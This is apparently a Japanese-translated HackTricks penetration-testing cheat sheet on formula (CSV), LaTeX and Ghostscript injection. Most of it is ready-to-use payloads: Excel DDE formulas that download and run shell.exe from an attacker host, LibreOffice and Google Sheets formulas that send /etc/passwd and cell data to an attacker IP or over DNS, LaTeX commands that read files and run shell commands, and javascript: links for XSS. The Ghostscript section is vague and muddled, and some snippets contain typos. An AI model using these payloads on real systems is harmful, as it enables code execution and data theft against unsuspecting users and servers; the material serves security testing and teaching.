Formula/CSV/Doc/LaTeX/GhostScript Injection

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

Try Hard Security Group


フォーミュラインジェクション

情報

もし、あなたの入力CSVファイル(またはおそらくExcelで開かれる他のファイル)内に反映されている場合、Excel フォーミュラを入れることができ、ユーザーがファイルを開いたときやExcelシート内のリンクをクリックしたとき実行されるかもしれません。

現在、Excelは(何度も)外部からExcelに読み込まれるとユーザーに警告を表示し、悪意ある行動を防ぐための特別な工夫が必要です。そのため、最終ペイロードにはソーシャルエンジニアリングに特別な注意を払う必要があります。

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

ハイパーリンク

次の例は、最終的なExcelシートからコンテンツを外部に持ち出し、任意の場所にリクエストを実行するのに非常に役立ちます。ただし、リンクをクリックして(警告プロンプトを受け入れる必要があります)。

次の例は、https://payatu.com/csv-injection-basic-to-exploit から取得されました。

学生記録管理システムでのセキュリティ侵害がCSVインジェクション攻撃を介して悪用されたと想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを危険にさらすことです。この方法は、攻撃者が悪意のあるペイロードをアプリケーションに注入し、具体的には学生の詳細のために意図されたフィールドに有害な数式を入力することによって行われます。攻撃は次のように展開されます:

  1. 悪意のあるペイロードの注入:

  • 攻撃者は学生の詳細フォームを送信しますが、スプレッドシートで一般的に使用される数式(例:=HYPERLINK("<malicious_link>","Click here"))を含めます。

  • この数式はハイパーリンクを作成するように設計されていますが、攻撃者が制御する悪意のあるサーバーを指します。

  1. 侵害されたデータのエクスポート:

  • 侵害に気づかない教師は、データをCSVファイルにエクスポートするためにアプリケーションの機能を使用します。

  • 開かれたCSVファイルには、依然として悪意のあるペイロードが含まれています。このペイロードはスプレッドシート内でクリック可能なハイパーリンクとして表示されます。

  1. 攻撃のトリガー:

  • 教師が学生の詳細の正当な部分であると信じてハイパーリンクをクリックします。

  • クリックすると、機密データ(スプレッドシートや教師のコンピューターからの詳細を含む可能性があります)が攻撃者のサーバーに送信されます。

  1. データの記録:

  • 攻撃者のサーバーは、教師のコンピューターから送信された機密データを受信して記録します。

  • 攻撃者はこのデータをさまざまな悪意のある目的に使用し、学生や機関のプライバシーとセキュリティをさらに危険にさらすことができます。

RCE

詳細については 元の投稿 をご確認ください。

特定の構成や古いバージョンのExcelでは、Dynamic Data Exchange(DDE)と呼ばれる機能を利用して任意のコマンドを実行することができます。これを活用するには、次の設定を有効にする必要があります:

  • ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツに移動し、Dynamic Data Exchange Server Launch を有効にします。

悪意のあるペイロードが含まれたスプレッドシートが開かれると(ユーザーが警告を受け入れた場合)、ペイロードが実行されます。たとえば、電卓アプリケーションを起動するには、ペイロードは次のようになります:

=cmd|' /C calc'!xxx

追加のコマンドを実行することもできます。例えば、PowerShellを使用してファイルをダウンロードして実行することができます:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

LibreOffice Calc でのローカルファイルインクルージョン(LFI)

LibreOffice Calc はローカルファイルを読み取り、データを外部に送信するために使用できます。以下はいくつかの方法です:

  • ローカルの /etc/passwd ファイルから最初の行を読み取る:='file:///etc/passwd'#$passwd.A1

  • 読み取ったデータを攻撃者が制御するサーバーに送信する:=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))

  • 複数行を送信する:=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

  • DNS によるデータ送信(読み取ったデータを DNS クエリとして攻撃者が制御する DNS サーバーに送信):=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets を使用した Out-of-Band(OOB)データの送信

Google Sheets はOOBデータの送信に悪用できる関数を提供しています:

  • CONCATENATE: 文字列を連結します - =CONCATENATE(A2:E2)

  • IMPORTXML: 構造化データからデータをインポートします - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

  • IMPORTFEED: RSS または ATOM フィードをインポートします - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))

  • IMPORTHTML: HTML テーブルやリストからデータをインポートします - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

  • IMPORTRANGE: 他のスプレッドシートからセルの範囲をインポートします - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

  • IMAGE: 画像をセルに挿入します - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX インジェクション

通常、LaTeX コードを PDF に変換するインターネット上のサーバーは pdflatex を使用します。 このプログラムは(非)コマンド実行を許可するために 3 つの主要な属性を使用します:

  • --no-shell-escape: \write18{command} 構文を無効にします。texmf.cnf ファイルで有効になっていても無効にします。

  • --shell-restricted: --shell-escape と同じですが、事前定義された '安全' な一連のコマンドに 制限 されます(Ubuntu 16.04 ではリストが /usr/share/texmf/web2c/texmf.cnf にあります)。

  • --shell-escape: \write18{command} 構文を有効にします。コマンドは任意のシェルコマンドです。通常、セキュリティ上の理由からこの構文は許可されていません。

ただし、コマンドを実行する他の方法もありますので、RCE を回避するために --shell-restricted を使用することが非常に重要です。

ファイルの読み取り

[ または $ などのラッパーを使用してインジェクションを調整する必要があります。

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

1行のファイルを読む

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

複数行のファイルを読む

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

ファイルの書き込み

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

コマンド実行

コマンドの入力は stdin にリダイレクトされます。それを取得するために一時ファイルを使用します。

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Ghostscript Injection

Description

Ghostscript is a powerful interpreter for the PostScript language and PDF. An attacker can inject malicious PostScript code into a CSV file that, when converted to a PDF using LaTeX, will be executed by Ghostscript. This can lead to remote code execution on the server.

Exploitation

  1. Craft a CSV file containing the malicious PostScript code.

  2. Convert the CSV file to a PDF using LaTeX.

  3. Upload the PDF file to the server.

  4. Trigger the server to process the PDF file, causing Ghostscript to execute the injected code.

Prevention

  • Validate and sanitize user input to prevent injection attacks.

  • Restrict the functionalities allowed when converting files.

  • Keep software dependencies updated to patch known vulnerabilities.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

クロスサイトスクリプティング

@EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

Check https://blog.redteam-pentesting.de/2023/ghostscript-overview/

References

Try Hard Security Group

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated